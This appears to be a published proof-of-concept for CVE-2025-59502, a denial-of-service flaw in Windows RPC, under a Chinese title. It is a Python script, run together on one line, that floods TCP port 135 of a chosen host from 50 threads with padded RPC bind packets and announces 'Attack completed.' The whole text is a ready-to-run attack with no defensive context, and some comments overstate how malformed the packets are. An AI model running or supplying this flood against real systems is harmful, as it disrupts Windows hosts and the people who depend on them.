CVE-2025-59502 Windows RPC 远程拒绝服务漏洞

# CVE-2025-59502 - Windows RPC Denial of Service PoC # Vulnerability: Uncontrolled resource consumption in Windows RPC # This PoC demonstrates sending crafted RPC requests to exhaust server resources import socket import struct import threading import time TARGET_HOST = "192.168.1.100" # Replace with target Windows host TARGET_PORT = 135 # RPC endpoint mapper port THREAD_COUNT = 50 # Number of concurrent threads REQUEST_COUNT = 1000 # Requests per thread def build_malformed_rpc_bind_request(): """ Build a malformed RPC bind request to trigger uncontrolled resource consumption on the target Windows RPC service. The request contains oversized fields to force excessive memory allocation on the server side. """ # RPC bind request header (DCE/RPC protocol) # Version 5, Minor version 0, Packet type 11 (BIND) rpc_version = struct.pack('<BB', 5, 0) packet_type = struct.pack('<B', 11) # BIND packet_flags = struct.pack('<B', 0x03) # First + Last fragment data_representation = struct.pack('<I', 0x00000010) # NDR frag_length = struct.pack('<H', 4096) # Large fragment length auth_length = struct.pack('<H', 0) call_id = struct.pack('<I', 0x00000001) # Max Xmit/Recv frag - oversized values to trigger resource exhaustion max_xmit_frag = struct.pack('<H', 0xFFFF) max_recv_frag = struct.pack('<H', 0xFFFF) assoc_group_id = struct.pack('<I', 0) # Context item with malformed presentation syntax context_id = struct.pack('<B', 0) context_item_count = struct.pack('<B', 1) # Abstract syntax UUID (overlong to cause excessive allocation) abstract_syntax = b'\x00' * 16 # Null UUID abstract_version = struct.pack('<I', 0) # Transfer syntax with malformed data transfer_syntax = b'\x00' * 16 transfer_version = struct.pack('<I', 0) payload = (rpc_version + packet_type + packet_flags + data_representation + frag_length + auth_length + call_id + max_xmit_frag + max_recv_frag + assoc_group_id + context_id + context_item_count + abstract_syntax + abstract_version + transfer_syntax + transfer_version) # Pad payload to declared fragment length to maximize resource usage payload += b'\x00' * (4096 - len(payload)) return payload def send_rpc_flood(): """Send crafted RPC requests to exhaust target resources.""" try: for i in range(REQUEST_COUNT): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) payload = build_malformed_rpc_bind_request() sock.send(payload) # Hold connection open to consume server-side resources time.sleep(0.1) sock.close() except Exception as e: print(f"[Thread] Error: {e}") def main(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {THREAD_COUNT} threads...") threads = [] for t in range(THREAD_COUNT): thread = threading.Thread(target=send_rpc_flood) thread.daemon = True threads.append(thread) thread.start() for thread in threads: thread.join() print("[+] Attack completed. Check target availability.") if __name__ == "__main__": main()